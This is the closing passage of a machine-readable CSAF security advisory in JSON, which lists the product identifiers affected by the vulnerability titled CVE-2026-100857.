                        "CSAFPID-5262529",
                        "CSAFPID-5262531",
                        "CSAFPID-5262532",
                        "CSAFPID-5262533",
                        "CSAFPID-5262534",
                        "CSAFPID-5262535",
                        "CSAFPID-5262537",
                        "CSAFPID-5262538",
                        "CSAFPID-5263200",
                        "CSAFPID-5263201",
                        "CSAFPID-5264768",
                        "CSAFPID-5264769",
                        "CSAFPID-5264770",
                        "CSAFPID-5264771",
                        "CSAFPID-5264772",
                        "CSAFPID-5264773",
                        "CSAFPID-5264774",
                        "CSAFPID-5264775",
                        "CSAFPID-5264776",
                        "CSAFPID-5264777",
                        "CSAFPID-5264778",
                        "CSAFPID-5264779",
                        "CSAFPID-5264780",
                        "CSAFPID-5264781",
                        "CSAFPID-5264782",
                        "CSAFPID-5264783",
                        "CSAFPID-5264784",
                        "CSAFPID-5264785",
                        "CSAFPID-5363883",
                        "CSAFPID-6612080",
                        "CSAFPID-6612081",
                        "CSAFPID-6770992",
                        "CSAFPID-900112",
                        "CSAFPID-900113",
                        "CSAFPID-900117",
                        "CSAFPID-900118",
                        "CSAFPID-900119",
                        "CSAFPID-900120",
                        "CSAFPID-900121",
                        "CSAFPID-900122",
                        "CSAFPID-900124",
                        "CSAFPID-900125",
                        "CSAFPID-900126",
                        "CSAFPID-900128",
                        "CSAFPID-900129",
                        "CSAFPID-900132",
                        "CSAFPID-900133",
                        "CSAFPID-900134",
                        "CSAFPID-900135",
                        "CSAFPID-900136",
                        "CSAFPID-900137",
                        "CSAFPID-900139",
                        "CSAFPID-900140",
                        "CSAFPID-900141",
                        "CSAFPID-900142",
                        "CSAFPID-900143",
                        "CSAFPID-900144",
                        "CSAFPID-900145",
                        "CSAFPID-900146",
                        "CSAFPID-900147",
                        "CSAFPID-900148",
                        "CSAFPID-900149",
                        "CSAFPID-900150",
                        "CSAFPID-900151",
                        "CSAFPID-900153",
                        "CSAFPID-900154",
                        "CSAFPID-900156",
                        "CSAFPID-900157",
                        "CSAFPID-900158",
                        "CSAFPID-900159",
                        "CSAFPID-900162",
                        "CSAFPID-900163",
                        "CSAFPID-900164",
                        "CSAFPID-914863",
                        "CSAFPID-914864",
                        "CSAFPID-9474652",
                        "CSAFPID-9478913",
                        "CSAFPID-9478914"
                    ]
                }
            ],
            "title": "CVE-2026-100857"
        }
    ]
}